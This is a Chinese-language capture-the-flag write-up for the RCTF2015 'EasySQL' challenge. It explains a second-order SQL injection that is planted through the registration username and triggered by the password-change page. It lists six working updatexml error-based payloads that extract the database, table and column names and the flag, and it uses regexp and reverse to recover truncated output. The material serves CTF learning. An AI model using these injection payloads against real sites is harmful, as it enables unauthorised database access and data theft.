[RCTF2015]EasySQL

发布于 2021-09-12  80 次阅读


知识要点:

reverse:字符串逆序

regexp::正则表达式

二次注入的简单使用

解题过程:

打开题目,存在登录注册功能,尝试注册账户,在填写正常邮箱的时候,发现@被过滤,因此对注册处进行fuzz

image-20210912172751678

我们发现很多字符被过滤了,成功注册之后,登录到发现存在一个密码修改功能,当我们注册用户为husins"时,可以发现修改密码出现如下报错:

image-20210912173115761

推测数据库语句为:

update users set pwd where user="husins"" and pwd="e10adc3949ba59abbe56e057f20f883e" ;

注册的时候执行insert,修改密码执行update很明显的二次注入,触发点就是修改密码处,因此攻击流程为:在注册用户的用户名处输入payload,在修改密码处进行触发;

1. 查询库名:web_sqli
husins"||(updatexml(1,(concat(0x7e,(select(database())))),1))#    

2. 查询表名 article,flag,users
husins"||(updatexml(1,(concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))),1))#  

3. 查询字段名 ~name,pwd,email,real_flag_1s_her
husins"||(updatexml(1,(concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())&&(table_name='users')))),1))#

4. 这里最后一个字段名显示不全,可以使用正则匹配这个字段名,real_flag_1s_here
husins"||(updatexml(1,(concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())&&(table_name='users')&&regexp('^r')))),1))#

5. real_flag_1s_here 里面有很多无用信息,因此使用正则匹配f开头的字符串
husins"||(updatexml(1,(concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

6.flag显示不全,使用倒置,显示后部分flag
husins"||(updatexml(1,(concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))))),1))#
         
# 处理字符串倒序
data = ""
print(data[::-1])

总结反思:

题目不是很难,重点在于如何测试到注入点,一定要Fuzz很重要!!!